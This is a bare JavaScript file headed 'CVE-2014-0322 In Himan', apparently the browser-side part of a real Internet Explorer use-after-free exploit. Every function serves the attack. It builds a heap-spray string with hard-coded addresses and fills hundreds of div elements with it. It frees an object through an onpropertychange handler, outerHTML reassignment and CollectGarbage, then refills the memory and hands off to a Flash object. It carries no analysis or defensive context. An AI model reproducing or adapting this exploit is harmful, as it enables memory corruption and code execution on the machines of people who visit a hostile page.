CVE-2014-0322 In Himan

bled = null;

function moro(y, s) {
    var h;
    h = y.toString(16);
    while (h.length < s) {
        h = '0' + h
    }
    return h
}

function gold(x) {
    var u, j;
    u = x & 0xFFFF;
    j = (x >> 16) & 0xFFFF;
    return unescape('%u' + moro(u, 4) + '%u' + moro(j, 4))
}
neat = new Array(0x250);

function kids() {
    var t, n, j, z;
    n = 0;
    j = gold(0xdeadc0de);
    z = 0x0f002000;
    while (j.length < 0x360) {
        if (j.length == (0x94 / 2)) {
            j += gold(z + 0x10 - 0x0c)
        } else if (j.length == (0x98 / 2)) {
            j += gold(z + 0x14 - 0x8)
        } else if (j.length == (0xac / 2)) {
            j += gold(z - 0x0e)
        } else if (j.length == (0x15c / 2)) {
            j += gold(0x42424242)
        } else {
            j += gold(z - 0x0e)
        }
    }
    t = j.substring(0, (0x340 - 2) / 2);
    for (n = 0; n < neat.length; n++) {
        neat[n] = document.createElement('div');
        neat[n].className = t.substring(0, t.length)
    }
    try {
        this.outerHTML = this.outerHTML
    } catch (exc) {}
    CollectGarbage();
    for (n = 0; n < neat.length; n++) {
        neat[n].title = t.substring(0, t.length)
    }
}

function fowlhr() {
    var b, x, j;
    try {
        j = document.getElementsByTagName('script');
        b = j[0];
        b.onpropertychange = kids;
        x = document.createElement('SELECT');
        x = b.appendChild(x);
        window['swf_id'].hulk8(bled)
    } catch (exc) {}
}

function dots(u) {
    var c;
    c = document.createElement('div');
    document.body.appendChild(c);
    c.innerHTML = u
}

function menu5e(j, k) {
    bled = j;
    dots(k)
};